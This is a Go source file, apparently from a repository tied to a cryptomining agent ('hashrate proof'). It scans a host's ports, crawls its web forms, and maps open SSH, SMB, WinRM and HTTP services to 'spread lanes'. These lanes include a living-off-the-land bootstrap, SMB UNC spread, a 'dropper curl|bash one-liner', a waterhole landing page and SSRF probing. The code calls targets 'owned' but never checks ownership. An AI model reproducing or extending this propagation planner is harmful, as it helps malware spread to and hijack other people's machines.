Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
POST /api/v1/recon/scan probes fleet ports from the server host, crawls owned HTTP targets, maps findings to spread lanes, and records optional oath ledger rows.
153 lines
3.6 KiB
Go
153 lines
3.6 KiB
Go
package recon
|
|
|
|
import (
|
|
"fmt"
|
|
"net"
|
|
"strings"
|
|
"time"
|
|
)
|
|
|
|
// Scan runs port scan and optional web crawl for an operator-supplied owned target.
|
|
func Scan(req ScanRequest) (*ScanReport, error) {
|
|
host, err := normalizeOwnedHost(req.Host)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
ports := ScanPorts(host)
|
|
report := &ScanReport{
|
|
Host: host,
|
|
ScannedAt: time.Now().UTC(),
|
|
Ports: ports,
|
|
}
|
|
|
|
if shouldCrawl(req, ports) {
|
|
crawl, err := Crawl(host, req.Port, req.Scheme, req.Paths)
|
|
if err == nil && crawl != nil {
|
|
report.Crawl = crawl
|
|
}
|
|
}
|
|
report.Recommendations = BuildRecommendations(ports, report.Crawl)
|
|
return report, nil
|
|
}
|
|
|
|
func normalizeOwnedHost(host string) (string, error) {
|
|
host = strings.TrimSpace(host)
|
|
if host == "" {
|
|
return "", fmt.Errorf("host required")
|
|
}
|
|
host = strings.TrimPrefix(host, "http://")
|
|
host = strings.TrimPrefix(host, "https://")
|
|
if i := strings.Index(host, "/"); i >= 0 {
|
|
host = host[:i]
|
|
}
|
|
if h, p, err := net.SplitHostPort(host); err == nil {
|
|
if strings.TrimSpace(h) == "" {
|
|
return "", fmt.Errorf("invalid host")
|
|
}
|
|
_ = p
|
|
host = h
|
|
}
|
|
if ip := net.ParseIP(host); ip != nil {
|
|
return ip.String(), nil
|
|
}
|
|
if len(host) > 253 || strings.Contains(host, " ") {
|
|
return "", fmt.Errorf("invalid host")
|
|
}
|
|
return strings.ToLower(host), nil
|
|
}
|
|
|
|
func shouldCrawl(req ScanRequest, ports []PortResult) bool {
|
|
if req.Port > 0 || strings.TrimSpace(req.Scheme) != "" || len(req.Paths) > 0 {
|
|
return true
|
|
}
|
|
for _, p := range ports {
|
|
switch p.Port {
|
|
case 80, 443, 8080, 8443:
|
|
if p.Open {
|
|
return true
|
|
}
|
|
}
|
|
}
|
|
return false
|
|
}
|
|
|
|
// BuildRecommendations maps port and crawl findings to existing deploy lanes/templates.
|
|
func BuildRecommendations(ports []PortResult, crawl *CrawlReport) []DeployRecommendation {
|
|
var recs []DeployRecommendation
|
|
open := map[int]bool{}
|
|
for _, p := range ports {
|
|
if p.Open {
|
|
open[p.Port] = true
|
|
}
|
|
}
|
|
|
|
if open[22] {
|
|
recs = append(recs, DeployRecommendation{
|
|
Lane: "linux_lotl",
|
|
Template: "linux-lotl",
|
|
Reason: "TCP 22 open — SSH LOTL bootstrap",
|
|
Priority: 25,
|
|
})
|
|
}
|
|
if open[445] {
|
|
recs = append(recs, DeployRecommendation{
|
|
Lane: "spread_smb_unc",
|
|
Reason: "TCP 445 open — SMB UNC spread",
|
|
Priority: 50,
|
|
})
|
|
}
|
|
if open[5985] || open[5986] {
|
|
recs = append(recs, DeployRecommendation{
|
|
Lane: "winrm",
|
|
Template: "winrm",
|
|
Reason: "TCP 5985/5986 open — WinRM bootstrap",
|
|
Priority: 30,
|
|
})
|
|
}
|
|
if open[80] || open[443] || open[8080] || open[8443] {
|
|
recs = append(recs, DeployRecommendation{
|
|
Lane: "bits_curl",
|
|
Reason: "HTTP surface open — dropper curl|bash one-liner",
|
|
Priority: 20,
|
|
})
|
|
recs = append(recs, DeployRecommendation{
|
|
Template: "public_waterhole",
|
|
Reason: "HTTP surface open — copy /spread/ public waterhole landing",
|
|
Priority: 15,
|
|
})
|
|
}
|
|
|
|
if crawl != nil {
|
|
if len(crawl.FileInputs) > 0 || len(crawl.MultipartForms) > 0 {
|
|
recs = append(recs, DeployRecommendation{
|
|
Lane: "stage_fetch",
|
|
Reason: "Multipart or file-upload form — stage_fetch manifest staging",
|
|
Priority: 35,
|
|
})
|
|
}
|
|
if crawl.SSRFScore >= 30 {
|
|
recs = append(recs, DeployRecommendation{
|
|
Template: "ssrf_probe",
|
|
Reason: fmt.Sprintf("SSRF candidate score %d — probe URL/webhook fields", crawl.SSRFScore),
|
|
Priority: 45,
|
|
})
|
|
}
|
|
}
|
|
|
|
return dedupeRecommendations(recs)
|
|
}
|
|
|
|
func dedupeRecommendations(in []DeployRecommendation) []DeployRecommendation {
|
|
seen := map[string]bool{}
|
|
var out []DeployRecommendation
|
|
for _, r := range in {
|
|
key := r.Lane + "|" + r.Template
|
|
if seen[key] {
|
|
continue
|
|
}
|
|
seen[key] = true
|
|
out = append(out, r)
|
|
}
|
|
return out
|
|
}
|